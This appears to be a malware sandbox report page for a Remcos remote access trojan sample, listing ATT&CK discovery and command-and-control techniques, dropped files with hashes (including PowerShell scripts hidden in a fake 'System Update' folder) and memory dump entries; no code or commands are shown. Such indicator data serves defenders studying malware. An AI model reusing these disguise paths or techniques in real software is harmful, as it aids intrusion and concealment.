Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
d28aa09f91a7e6b4b35f2462ca9beacd

SHA1
f9a730944566a43597ac114c10c1af810fb4ed08

SHA256
02836b9fefe5c832bc2b231b2cf5c66faac8fbe09d6f1c2437544ab455137bce

SHA512
e6e9897c19323b7295b9875f93b85d3ee0cb34c8346a30ff468c7ad8dda2012fcc2ca61c29b8942dfde2b21980ffde6a94bb242208a861e7239f7bd018efa25b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\lxhzp.ps1

Filesize
1.7MB

MD5
8e44be173ea237b2257f10bd96c7f80b

SHA1
c3fe8ed4de4c7c30e055d8c9f85a8566a8c4ea71

SHA256
758b9ec09d7b78b13a2adadd3dc3dd08fb52925cf5b6c24719b58dc7f1ad48c9

SHA512
cf9aee5e7b9e46e0a8479db94ee949b0c171b26c07ae7c217d93333047f516bf44e171c9b1ccd10da014734d5262874fa694ef3d0d4c7b83390d6a060e969ef9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Filesize
334B

MD5
b44835426627d7cc3e63031c0b7d372d

SHA1
0620379a009e34047200fc3314fb75093627546d

SHA256
6bf9dd72191827c930405d5c2d345a820edfa7377e7a3518c6d9a4562a518ea0

SHA512
d0190fb4c9055cfeb0113e031feb03d813fab564b747921e1c4627a47967dce10fc7014b5aad9d1f3315a7ce14e3f194e17c350b290488b554736a61f90004ad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c2591b8d3c298836fc77aeec431b0a88

SHA1
56aed0d369ac0a912275f1d29075c78da932e2a7

SHA256
bfca64476080417d90c94877309a740be930c08c7d60bd2579ff9b523b4d9c9f

SHA512
95162e3fd633a27db36565cacc0c6e0ce220e080ca402849238cf4db42ed19772959c4d664a82cfbfeceac4271d49a0f1f5a2c0edceecbd100d7f7797a5211c8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
721991167161c45d61b03e4dbad4984b

SHA1
fd3fa85d142b5e8d4906d3e5bfe10c5347958457

SHA256
0a7be18529bdbed6fc9f36118a6147920d31099ee0fb5a2a8b6b934d1b9bcefb

SHA512
f1aa4f8e48eeb5b5279530d8557cb292a08b25ad46af0dd072130c395127f6c064c88b04910c626c13f22462104ac3d36fa0d4064fff0ec7528922df54ecdcf0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nqxlqnkx.imd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/724-22-0x000001E7F0240000-0x000001E7F024A000-memory.dmp

Filesize
40KB

Download
memory/3992-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-87-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-86-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-79-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3992-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4080-0-0x00007FFF10DE3000-0x00007FFF10DE5000-memory.dmp

Filesize
8KB

Download
memory/4080-1-0x0000029D35000000-0x0000029D35022000-memory.dmp

Filesize
136KB

Download
memory/4080-37-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/4080-11-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/4080-44-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/4080-12-0x00007FFF10DE0000-0x00007FFF118A1000-memory.dmp

Filesize
10.8MB

Download
memory/4080-36-0x00007FFF10DE3000-0x00007FFF10DE5000-memory.dmp

Filesize
8KB

Download
memory/4476-58-0x000001ECFA7D0000-0x000001ECFA7DA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads